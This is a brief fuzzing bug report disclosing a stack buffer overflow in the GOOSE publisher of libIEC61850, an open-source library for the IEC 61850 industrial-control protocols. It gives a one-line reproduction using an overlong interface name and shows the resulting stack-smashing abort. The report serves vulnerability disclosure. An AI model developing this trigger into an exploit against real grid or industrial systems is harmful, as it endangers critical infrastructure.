# Summary
|
|
# While fuzzing a stack based buffer overflow was found in libIEC61850 (the
|
|
# open-source library for the IEC 61850 protocols) in prepareGooseBuffer in
|
|
# goose/goose_publisher.c

|
|
## Steps to reproduce
|
|
|
|
$ ./goose_publisher_example crash_goosecr_stack_smash_overflow_aaaaaaaaa
|
|
Using interface crash_goosecr_stack_smash_overflow_aaaaaaaaa
|
|
*** stack smashing detected ***: <unknown> terminated
|
|
Aborted
|
|
